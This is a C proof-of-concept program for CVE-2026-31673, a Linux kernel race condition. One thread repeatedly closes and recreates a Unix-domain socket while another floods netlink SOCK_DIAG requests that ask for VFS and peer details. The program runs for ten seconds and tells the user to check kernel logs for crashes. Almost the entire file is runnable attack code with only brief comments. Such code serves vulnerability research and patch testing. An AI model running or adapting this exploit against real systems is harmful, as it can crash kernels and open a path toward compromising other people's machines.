/*
* PoC for CVE-2026-31673 (Conceptual)
* This code attempts to trigger the race condition between
* unix_release_sock and UNIX_DIAG_VFS parsing.
* Compile: gcc -o poc_cve2026_31673 poc_cve2026_31673.c -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <pthread.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/unix_diag.h>
int sock_fd = -1;
volatile int running = 1;
// Thread 1: Continuously close and recreate the socket
void *thread_close(void *arg) {
struct sockaddr_un addr;
while (running) {
if (sock_fd != -1) {
close(sock_fd);
sock_fd = -1;
}
sock_fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sock_fd < 0) continue;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr));
usleep(100); // Tune timing to increase race window
}
return NULL;
}
// Thread 2: Send Netlink diagnostic requests
void *thread_diag(void *arg) {
int nl_sock;
struct sockaddr_nl nl_addr;
char buf[1024];
struct nlmsghdr *nlh;
struct unix_diag_req *req;
nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG);
if (nl_sock < 0) return NULL;
memset(&nl_addr, 0, sizeof(nl_addr));
nl_addr.nl_family = AF_NETLINK;
bind(nl_sock, (struct sockaddr *)&nl_addr, sizeof(nl_addr));
while (running) {
if (sock_fd < 0) {
usleep(100);
continue;
}
memset(buf, 0, sizeof(buf));
nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct unix_diag_req));
req = (struct unix_diag_req *)NLMSG_DATA(nlh);
req->sdiag_family = AF_UNIX;
req->udiag_states = -1; // All states
req->udiag_ino = 0; // Match any (or try to match specific)
req->udiag_show = UDIAG_SHOW_VFS | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
sendto(nl_sock, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&nl_addr, sizeof(nl_addr));
usleep(50);
}
close(nl_sock);
return NULL;
}
int main() {
pthread_t t1, t2;
printf("[+] Starting PoC for CVE-2026-31673...\n");
pthread_create(&t1, NULL, thread_close, NULL);
pthread_create(&t2, NULL, thread_diag, NULL);
sleep(10); // Run for 10 seconds
running = 0;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
if (sock_fd != -1) close(sock_fd);
printf("[+] PoC finished. Check kernel logs for crashes.\n");
return 0;
}